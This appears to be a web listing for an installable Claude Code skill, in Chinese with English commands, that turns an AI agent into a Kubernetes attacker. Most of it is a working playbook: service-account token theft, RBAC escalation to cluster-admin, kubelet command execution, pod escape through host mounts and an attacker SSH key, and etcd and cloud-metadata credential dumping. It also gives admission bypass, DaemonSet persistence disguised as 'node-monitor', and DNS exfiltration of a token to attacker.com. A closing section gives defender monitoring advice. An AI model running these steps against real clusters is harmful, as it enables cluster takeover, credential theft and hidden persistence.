关于 offensive-k8s-attacks
面向 Kubernetes 攻防的技能,涵盖权限与配置枚举、权限提升,以及集群和云环境暴露面检查。还提供防守监控建议,可用于获授权的集群安全评估。
主要功能
- 01服务账户与 RBAC 枚举
- 02Kubelet 与 Pod 逃逸技术
- 03Secret 和云元数据发现
- 04准入控制器与网络策略分析
- 05防守监控建议
适用场景
- 01评估 Kubernetes RBAC 暴露风险
- 02测试 Pod 隔离与 Kubelet 访问
- 03检查 Secret 和云元数据防护
- 04规划集群攻击检测覆盖范围
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-k8s-attacks安装后在 Claude Code 中输入/offensive-k8s-attacks确认已加载。
详细介绍
Kubernetes 集群攻击
你可以访问 Kubernetes 环境,可能是通过已遭入侵的 Pod、被盗的 kubeconfig,或暴露的 API 服务器。你的目标是提升权限、横向移动,并攻陷集群或底层云基础设施。Kubernetes 安全性取决于 RBAC 策略、网络策略、准入控制器、Pod 安全标准以及云 IAM 集成。每项配置错误都可能成为进一步获取访问权限的途径。本指南涵盖系统化枚举、权限提升、秘密提取和集群范围的攻陷技术。
快速工作流
- 确定初始位置:Pod shell、被盗令牌、暴露的 API,或 kubeconfig 文件。
- 枚举服务账户权限、集群角色和可访问资源。
- 识别权限提升途径:RBAC 漏洞、kubelet 暴露、hostPath 挂载、云元数据访问。
- 通过串联配置错误或滥用权限过大的服务账户来提升权限。
- 提取秘密、转向其他命名空间,并以控制平面为目标。
- 利用云元数据或 etcd 访问权限,攻陷整个基础设施。
阶段 1:初始枚举
确定你的位置
# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes
# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT
# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local
# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token
不使用 kubectl 设置 API 访问
# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
${APISERVER}/api/v1/namespaces
# Shorthand function for repeated use
k8s_api() {
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
"${APISERVER}$1"
}
# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
-X POST -H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"
自动化枚举工具
# kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER
# peirates - Kubernetes penetration tool (run from within pod)
./peirates
# kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig
# kdigger - Kubernetes-focused container assessment
./kdigger dig all
# kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'
阶段 2:服务账户令牌窃取与滥用
发现令牌
# Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Files: token, ca.crt, namespace
# Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null
# Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}'
# Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token
令牌冒充
# Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \
--certificate-authority="$CACERT" auth can-i --list
# Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system
# Impersonate a user
kubectl [email protected] get pods -A
# Impersonate a group
kubectl --as-group=system:masters --as=dummy get secrets -A
阶段 3:利用 RBAC 配置错误
识别危险权限
# List all cluster roles and role bindings
kubectl get clusterroles -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for role in data['items']:
for rule in role.get('spec',{}).get('rules',[]):
verbs=rule.get('verbs',[])
resources=rule.get('resources',[])
if '*' in verbs or '*' in resources:
print(f\"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}\")
"
# Check for wildcard permissions
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for b in data['items']:
subjects = b.get('subjects',[]) or []
role = b.get('roleRef',{}).get('name','')
for s in subjects:
print(f\"{s.get('kind')}/{s.get('name')} -> {role}\")
"
# Find service accounts bound to cluster-admin
kubectl get clusterrolebindings -o json | \
python3 -c "
import json,sys
data=json.load(sys.stdin)
for b in data['items']:
if b.get('roleRef',{}).get('name')=='cluster-admin':
for s in (b.get('subjects') or []):
print(f\"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}\")
"
利用 RBAC 漏洞提升权限
# If you can create role bindings, bind yourself to cluster-admin
kubectl create clusterrolebinding pwn-binding \
--clusterrole=cluster-admin \
--serviceaccount=default:default
# If you can create roles, grant yourself wildcard access
cat <<'EOF' | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: pwn-role
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: pwn-role-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: pwn-role
subjects:
- kind: ServiceAccount
name: default
namespace: default
EOF
# If you can patch existing bindings
kubectl patch clusterrolebinding existing-binding -p \
'{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'
# Escalate through escalate verb
# The "escalate" verb on roles/clusterroles allows granting permissions
# you do not have yourself
kubectl auth can-i escalate clusterroles
阶段 4:利用 Kubelet API
直接访问 Kubelet
# Kubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated)
# Scan for kubelet ports across cluster nodes
# Read-only port (10255) - no auth required if exposed
curl -s http://NODE_IP:10255/pods | python3 -m json.tool
curl -s http://NODE_IP:10255/spec/
curl -s http://NODE_IP:10255/metrics
# Authenticated port (10250) - requires valid credentials
# Use service account token or client certificate
curl -sk https://NODE_IP:10250/pods \
-H "Authorization: Bearer ${TOKEN}"
# List running pods on the node
curl -sk https://NODE_IP:10250/runningpods/ \
-H "Authorization: Bearer ${TOKEN}"
通过 Kubelet 执行命令
# kubeletctl tool for kubelet API interaction
kubeletctl -s NODE_IP pods
kubeletctl -s NODE_IP scan rce
# Execute commands in pods via kubelet API directly (bypasses API server RBAC)
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \
-H "Authorization: Bearer ${TOKEN}" \
-d "cmd=id"
# Execute in every container on the node
curl -sk https://NODE_IP:10250/runningpods/ \
-H "Authorization: Bearer ${TOKEN}" | \
python3 -c "
import json,sys
pods=json.load(sys.stdin)
for pod in pods.get('items',[]):
ns=pod['metadata']['namespace']
name=pod['metadata']['name']
for c in pod['spec'].get('containers',[]):
print(f'{ns}/{name}/{c[\"name\"]}')
"
# Then exec into each one to extract tokens and secrets
# Retrieve container logs
curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER" \
-H "Authorization: Bearer ${TOKEN}"
阶段 5:利用特权配置逃逸 Pod
通过 hostPID 逃逸
# If the pod has hostPID: true, you see all host processes
ps aux # Shows host processes
# Access host filesystem via /proc/1/root
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
cat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml
# nsenter into host namespaces
nsenter -t 1 -m -u -i -n -p -- bash
# Steal tokens from other pods' processes
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
token=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i kube)
if [ -n "$token" ]; then
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
echo "PID $pid ($cmdline): $token"
fi
done
通过 hostNetwork 逃逸
# If the pod has hostNetwork: true, you share the host's network namespace
ip addr show # Shows host network interfaces
# Access services bound to localhost on the host
curl -s http://127.0.0.1:10255/pods # Kubelet read-only
curl -sk https://127.0.0.1:10250/pods # Kubelet API
curl -s http://127.0.0.1:2379/version # etcd (if exposed)
# Access cloud metadata from host network perspective
curl -s http://169.254.169.254/latest/meta-data/ # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure
# Scan internal services
for port in 443 8443 6443 2379 10250 10255 30000-32767; do
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open"
done
通过 hostPath 卷逃逸
# If the pod mounts a hostPath volume, you can read/write host files
# Common dangerous hostPath mounts:
# / - full host filesystem
# /var/run - container runtime sockets
# /etc - host configuration
# /var/log - host logs (may contain secrets)
# /root - root home directory
# Check what is mounted
mount | grep -v overlay
cat /proc/1/mountinfo
# If / is mounted at /host
cat /host/etc/shadow
cat /host/etc/kubernetes/admin.conf
cat /host/root/.kube/config
# Write SSH key for host access
echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys
# Access Docker socket if mounted
ls -la /host/var/run/docker.sock
部署特权 Pod
# If you can create pods, deploy one with full host access
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwn-pod
namespace: default
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh", "-c", "sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
tolerations:
- operator: Exists
nodeSelector:
node-role.kubernetes.io/control-plane: ""
EOF
# Wait for pod to be ready, then exec in
kubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash
阶段 6:枚举和提取秘密
Kubernetes 秘密
# List all secrets across namespaces
kubectl get secrets -A
# Get specific secret content (base64 encoded)
kubectl get secret SECRET_NAME -n NAMESPACE -o json
# Decode all secrets in a namespace
kubectl get secrets -n NAMESPACE -o json | python3 -c "
import json,sys,base64
data=json.load(sys.stdin)
for secret in data['items']:
name=secret['metadata']['name']
print(f'=== {name} ===')
for k,v in (secret.get('data') or {}).items():
try:
decoded=base64.b64decode(v).decode('utf-8','replace')
print(f' {k}: {decoded}')
except:
print(f' {k}: [binary data]')
"
# Target high-value secrets
kubectl get secrets -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for s in data['items']:
name=s['metadata']['name']
ns=s['metadata']['namespace']
stype=s.get('type','')
if any(x in name.lower() for x in ['admin','root','cloud','aws','gcp','azure','password','key','cert','token','db','database','api']):
print(f'HIGH-VALUE: {ns}/{name} (type: {stype})')
"
直接访问 etcd
# etcd stores all Kubernetes state including secrets in plaintext (unless encrypted at rest)
# Default port: 2379 (client), 2380 (peer)
# Check if etcd is accessible
curl -s http://ETCD_IP:2379/version
curl -s http://127.0.0.1:2379/version # From host network
# If etcd requires TLS, find certificates
# On control plane nodes, check:
ls -la /etc/kubernetes/pki/etcd/
# ca.crt, server.crt, server.key, peer.crt, peer.key
# Use etcdctl with certs
ETCDCTL_API=3 etcdctl \
--endpoints=https://ETCD_IP:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only | head -50
# Dump all secrets from etcd
ETCDCTL_API=3 etcdctl \
--endpoints=https://ETCD_IP:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix
# Extract specific secret
ETCDCTL_API=3 etcdctl \
--endpoints=https://ETCD_IP:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets/kube-system/admin-token
阶段 7:从 Pod 访问云元数据
AWS EKS
# Access Instance Metadata Service (IMDS) from pod
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/NODE_ROLE_NAME
# IMDSv2 (requires token)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Check for projected token and annotated service account
cat $AWS_WEB_IDENTITY_TOKEN_FILE
echo $AWS_ROLE_ARN
# Use AWS CLI with stolen role
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name pwn \
--web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"
# Enumerate EKS cluster from stolen node credentials
aws eks describe-cluster --name CLUSTER_NAME
aws eks list-clusters
GCP GKE
# GCP metadata server
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
# Get access token for GCP APIs
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | \
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
# Use token to access GCP APIs
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones/ZONE/instances"
# Workload Identity check
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/attributes/cluster-name
Azure AKS
# Azure Instance Metadata Service
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Get managed identity token
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Use token for Azure Resource Manager
TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
阶段 8:绕过准入控制器并建立持久化
绕过准入控制器
# Check which admission controllers are active
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations
# Inspect webhook configuration for bypass opportunities
kubectl get validatingwebhookconfigurations -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for wh in data['items']:
name=wh['metadata']['name']
for w in wh.get('webhooks',[]):
ns_selector=w.get('namespaceSelector',{})
obj_selector=w.get('objectSelector',{})
failure=w.get('failurePolicy','Fail')
print(f'{name}/{w[\"name\"]}: failurePolicy={failure}')
if ns_selector:
print(f' namespaceSelector: {json.dumps(ns_selector)}')
if failure == 'Ignore':
print(f' BYPASS: failurePolicy=Ignore - webhook failures are ignored')
"
# If failurePolicy is Ignore, you can create resources when webhook is down
# If namespaceSelector excludes certain namespaces, deploy there
# Deploy to kube-system (often excluded from admission policies)
kubectl run pwn --image=alpine -n kube-system -- sleep 3600
# Use static pods (bypass API server admission entirely)
# Write manifest to /etc/kubernetes/manifests/ on a node
cat > /host/etc/kubernetes/manifests/pwn.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: pwn-static
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["sleep", "3600"]
securityContext:
privileged: true
volumeMounts:
- name: root
mountPath: /host
volumes:
- name: root
hostPath:
path: /
EOF
滥用 CRD 和 Operator
# List custom resource definitions
kubectl get crds
# Check for operators with elevated privileges
kubectl get deployments -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for d in data['items']:
name=d['metadata']['name']
ns=d['metadata']['namespace']
sa=d['spec']['template']['spec'].get('serviceAccountName','default')
if any(x in name.lower() for x in ['operator','controller','manager']):
print(f'{ns}/{name} (SA: {sa})')
"
# If you can create CRDs, install a backdoor operator
# If you can modify existing CRs, inject malicious configurations
# Example: modify a CR that triggers pod creation with your image
通过 DaemonSet 建立持久化
# Deploy a DaemonSet that runs on every node
cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-monitor
namespace: kube-system
labels:
app: node-monitor
spec:
selector:
matchLabels:
app: node-monitor
template:
metadata:
labels:
app: node-monitor
spec:
hostPID: true
hostNetwork: true
tolerations:
- operator: Exists
containers:
- name: monitor
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
while true; do
# Beacon to C2 or maintain reverse shell
sleep 3600
done
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
阶段 9:绕过网络策略
# Check if network policies exist
kubectl get networkpolicies -A
# If no policies exist, all pod-to-pod traffic is allowed by default
# Even with policies, bypass opportunities include:
# 1. DNS-based exfiltration (port 53 is rarely blocked)
# Encode data in DNS queries
nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com
# 2. Metadata service (169.254.169.254) may not be covered by network policies
curl -s http://169.254.169.254/latest/meta-data/
# 3. NodePort services bypass pod-level network policies
# Access services via node IP and NodePort (30000-32767)
# 4. Host network pods bypass network policies entirely
# If you can create hostNetwork pods, you bypass all CNI-level restrictions
# 5. Service mesh sidecar bypass
# If Istio/Linkerd sidecars are present, traffic between pods goes through the mesh
# Direct pod IP access (bypassing service) may skip mesh-level policies
# 6. Check for misconfigured egress policies
kubectl get networkpolicies -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for np in data['items']:
name=np['metadata']['name']
ns=np['metadata']['namespace']
egress=np['spec'].get('egress')
if egress is None:
print(f'{ns}/{name}: no egress rules (all egress blocked if policyTypes includes Egress)')
elif len(egress)==1 and egress[0]=={}:
print(f'{ns}/{name}: WIDE OPEN egress (empty rule = allow all)')
"
检测 / 防御者视角
监控 Kubernetes 集群攻击的防御者应关注以下事项:
- 审计日志:启用并监控 Kubernetes 审计日志,留意异常 API 调用。关注对
clusterrolebindings、roles、pods/exec和secrets的create或patch操作。跟踪服务账号令牌在正常应用模式之外的使用情况。 - RBAC 警报:对创建指向
cluster-admin的 ClusterRoleBinding 发出警报。监控新角色中的通配符权限。跟踪escalate、bind和impersonate动词的使用情况。 - Kubelet 访问:监控并非来自 API 服务器的直接 kubelet API 连接(10250)。完全禁用只读端口(10255)。
- Pod 安全:强制执行 Pod 安全标准(restricted 配置文件)。对创建包含
hostPID、hostNetwork、hostPath或privileged: true的 Pod 发出警报。留意kube-system中运行且不属于标准控制平面的 Pod。 - 机密访问模式:监控跨命名空间批量读取机密的行为。对访问其通常不会访问的机密的服务账号发出警报。启用 etcd 静态加密。
- 网络监控:留意 Pod 到元数据服务(169.254.169.254)的流量。监控 DNS 查询模式,查找隧道传输迹象。对绕过服务抽象的 Pod 间流量发出警报。
- 云 IAM:限制对需要访问 IMDS 的 Pod 开放 IMDS(使用网络策略或云原生控制措施)。使用工作负载身份,而非节点级 IAM 角色。审计源自 Kubernetes 节点的云 API 调用。
- Falco 和运行时:部署运行时安全监控。检测容器中的意外进程执行、网络连接和文件访问。留意应用 Pod 中用于访问 API 端点的
nsenter、kubectl和curl。
参与演练速查表
# --- Initial Recon ---
# Get current permissions
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
# Enumerate cluster
kubectl cluster-info
kubectl get nodes -o wide
kubectl get namespaces
kubectl get pods -A -o wide
kubectl get services -A
# --- Secrets ---
kubectl get secrets -A
kubectl get secret <name> -n <ns> -o jsonpath='{.data}' | python3 -c "import json,sys,base64;[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.load(sys.stdin).items()]"
# --- Privilege Escalation ---
# Create cluster-admin binding
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default
# Deploy privileged pod
kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["sleep","3600"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' --restart=Never
# --- Kubelet ---
curl -sk https://NODE_IP:10250/runningpods/ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"
# --- Cloud Metadata ---
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# --- Lateral Movement ---
# Exec into other pods
kubectl get pods -A
kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh
# Port forward to internal services
kubectl port-forward svc/SERVICE 8080:80 -n NAMESPACE
关键参考资料
- MITRE ATT&CK T1609 - 容器管理命令
- MITRE ATT&CK T1610 - 部署容器
- MITRE ATT&CK T1613 - 容器和资源发现
- MITRE ATT&CK T1552.007 - 容器 API / Kubernetes Secrets
- 工具:kube-hunter - https://github.com/aquasecurity/kube-hunter
- 工具:peirates - https://github.com/inguardians/peirates
- 工具:kubeaudit - https://github.com/Shopify/kubeaudit
- 工具:kdigger - https://github.com/quarkslab/kdigger
- 工具:kubeletctl - https://github.com/cyberark/kubeletctl
- Kubernetes 安全文档 - https://kubernetes.io/docs/concepts/security/
- Kubernetes 威胁矩阵(Microsoft)- https://microsoft.github.io/Threat-Matrix-for-Kubernetes/
- Kubernetes 加固指南(NSA/CISA)- https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF
- HackTricks Kubernetes 渗透测试 - https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes
评论
支持 Markdown